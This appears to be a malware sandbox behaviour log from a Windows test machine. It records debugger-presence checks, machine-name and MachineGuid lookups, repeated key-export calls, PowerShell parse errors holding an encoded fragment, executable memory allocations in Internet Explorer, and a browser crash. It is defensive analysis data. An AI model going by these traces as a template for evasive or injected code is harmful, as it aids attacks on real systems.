1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Bad numeric constant: 5.
console_handle: 0x0000000000000403
1 1 0

WriteConsoleW

 buffer: At line:8 char:2
console_handle: 0x000000000000040f
1 1 0

WriteConsoleW

 buffer: + 5 <<<< Qx4mqtHidr+BeaBDcCx6YcJri8L68hR/8mA4izbOTkWqD6KpR+Aw71EULQuYTDH38hGdBl
console_handle: 0x000000000000041b
1 1 0

WriteConsoleW

 buffer: +dS0a9DX
console_handle: 0x0000000000000427
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ParserError: (5:String) [], ParentContainsErrorR
console_handle: 0x0000000000000433
1 1 0

WriteConsoleW

 buffer: ecordException
console_handle: 0x000000000000043f
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : BadNumericConstant
console_handle: 0x000000000000044b
1 1 0

WriteConsoleW

 buffer: Bad numeric constant: 5.
console_handle: 0x00000000000007d7
1 1 0

WriteConsoleW

 buffer: At line:9 char:2
console_handle: 0x00000000000007e3
1 1 0

WriteConsoleW

 buffer: + 5 <<<< Qx4mqtHidr+BeaBDcCx6YcJri8L68hR/8mA4izbOTkWqD6KpR+Aw71EULQuYTDH38hGdBl
console_handle: 0x00000000000007ef
1 1 0

WriteConsoleW

 buffer: +dS0a9DX
console_handle: 0x00000000000007fb
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ParserError: (5:String) [], ParentContainsErrorR
console_handle: 0x0000000000000807
1 1 0

WriteConsoleW

 buffer: ecordException
console_handle: 0x0000000000000813
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : BadNumericConstant
console_handle: 0x000000000000081f
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000278670
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b843950
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b843950
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b843950
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8438e0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8438e0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b843950
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b843950
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b843950
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b843950
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8441a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8441a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8441a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b843950
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b843950
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b843950
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000000025a400
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000000025a400
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000000025a400
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000000025a400
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000000025a400
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000000025a400
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000000025a400
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000000025a400
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000278210
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000278210
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000278210
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000000025a080
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000000025a080
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8441a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8441a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b843950
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b843950
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b843950
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b872680
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b872680
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b872680
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b872680
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b873090
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b873090
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000000027dc90
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002d99a80
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002d99a80
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002d99a80
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002d99460
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002d99460
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002d99a80
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002d99a80
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002d99a80
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002d99a80
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefd4fa49d
RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefdba73c3
ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefd9243bf
IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdbc5295
I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdbc2799
Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefdc6af1e
Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefdc6b76c
NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdbc48d6
CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefda50883
CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefda50ccd
CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefda50c43
CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefd90a4f0
GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefd91d551
CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefda5347e
CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefda5122b
CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefda53542
GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefd91d42d
GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefd91d1d6
TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x769c9bd1
TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x769c98da
GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefd91d0ab
CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefda43e57
ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefd8f0106
ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefd8f0182
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76c2652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x76d5c521

exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00
exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d
exception.instruction: add rsp, 0xc8
exception.module: KERNELBASE.dll
exception.exception_code: 0x80040155
exception.offset: 42141
exception.address: 0x7fefd4fa49d
registers.r14: 0
registers.r15: 0
registers.rcx: 110879376
registers.rsi: 0
registers.r10: 0
registers.rbx: 0
registers.rsp: 110885328
registers.r11: 110881136
registers.r8: 0
registers.r9: 0
registers.rdx: 1
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 1887193899
registers.r13: 0
1 0 0
request GET http://ie9cvlist.ie.microsoft.com/IE9CompatViewList.xml
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2608
region_size: 7213056
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000003040000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2608
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000003720000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769cd000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769d4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefbca5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefbca5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefefc4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdcd1000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769ba000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2608
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000003510000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000000007304c000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2608
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000741f3000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2696
region_size: 9310208
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002a90000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2696
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000003370000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076a21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769cd000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769d4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769f2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefbca5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefbca5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefefc4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdcd1000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769ba000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769bf000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769bd000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769bb000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c26000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076d76000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c21000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769c0000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000769ba000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076d4f000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076d5b000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefda37000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefef64000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefef61000
process_handle: 0xffffffffffffffff
1 0 0
Application Crash Process iexplore.exe with pid 2608 crashed
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefd4fa49d
RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefdba73c3
ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefd9243bf
IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdbc5295
I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdbc2799
Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefdc6af1e
Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefdc6b76c
NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdbc48d6
CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefda50883
CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefda50ccd
CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefda50c43
CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefd90a4f0
GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefd91d551
CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefda5347e
CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefda5122b
CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefda53542
GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefd91d42d
GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefd91d1d6
TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x769c9bd1
TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x769c98da
GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefd91d0ab
